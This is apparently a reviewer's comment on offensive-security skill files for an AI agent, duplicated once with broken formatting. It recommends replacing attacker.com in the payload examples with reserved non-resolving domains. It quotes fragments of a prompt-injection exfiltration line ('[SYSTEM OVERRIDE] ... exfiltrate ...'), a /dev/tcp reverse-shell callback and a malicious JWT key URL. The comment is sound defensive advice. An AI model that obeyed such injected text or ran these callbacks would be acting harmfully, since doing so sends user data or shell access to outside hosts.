Really useful skill set — thanks for putting it out there.
One hygiene thing worth fixing across the payload examples: a lot of them
use attacker.com as the adversary-controlled stand-in. A few spots:
offensive-initial-access — the Copilot/RAG poisoning examples
([SYSTEM OVERRIDE] ... exfiltrate ... https://attacker.com/log?data=)
- reverse shell one-liner →
/dev/tcp/attacker.com/443
offensive-jwt → jku/x5u pointing at https://attacker.com/jwks.json
offensive-open-redirect and the RFI/XSS examples
The problem: attacker.com isn't a reserved placeholder. Unlike
example.com (RFC 2606) or the .invalid/.test TLDs (RFC 2606/6761),
it's an ordinary registrable domain — it resolves to whoever currently
holds it, and that can change without notice. Two ways that bites:
- Copy-paste into a live engagement. These are exactly the payloads
people lift verbatim. If the domain isn't swapped, the RFI / reverse
shell / curl | bash / exfil examples fire real traffic at
infrastructure the operator doesn't control.
- Agent context. These are Claude skill files. When the
injection/exfil examples get loaded into an agent's context,
https://attacker.com/log?data= is a genuinely resolvable endpoint,
not an inert string.
Fix — use the reserved names, which can never resolve:
- C2 / exfil / shell callbacks →
attacker.invalid, c2.invalid
(guaranteed non-resolvable by design; also reads unambiguously as fake)
- benign redirect / URL-parsing demos →
attacker.example or
example.com subdomains
Really useful skill set — thanks for putting it out there.
One hygiene thing worth fixing across the payload examples: a lot of them
use
attacker.comas the adversary-controlled stand-in. A few spots:offensive-initial-access— the Copilot/RAG poisoning examples(
[SYSTEM OVERRIDE] ... exfiltrate ... https://attacker.com/log?data=)/dev/tcp/attacker.com/443offensive-jwt→jku/x5upointing athttps://attacker.com/jwks.jsonoffensive-open-redirectand the RFI/XSS examplesThe problem:
attacker.comisn't a reserved placeholder. Unlikeexample.com(RFC 2606) or the.invalid/.testTLDs (RFC 2606/6761),it's an ordinary registrable domain — it resolves to whoever currently
holds it, and that can change without notice. Two ways that bites:
people lift verbatim. If the domain isn't swapped, the RFI / reverse
shell /
curl | bash/ exfil examples fire real traffic atinfrastructure the operator doesn't control.
injection/exfil examples get loaded into an agent's context,
https://attacker.com/log?data=is a genuinely resolvable endpoint,not an inert string.
Fix — use the reserved names, which can never resolve:
attacker.invalid,c2.invalid(guaranteed non-resolvable by design; also reads unambiguously as fake)
attacker.exampleorexample.comsubdomains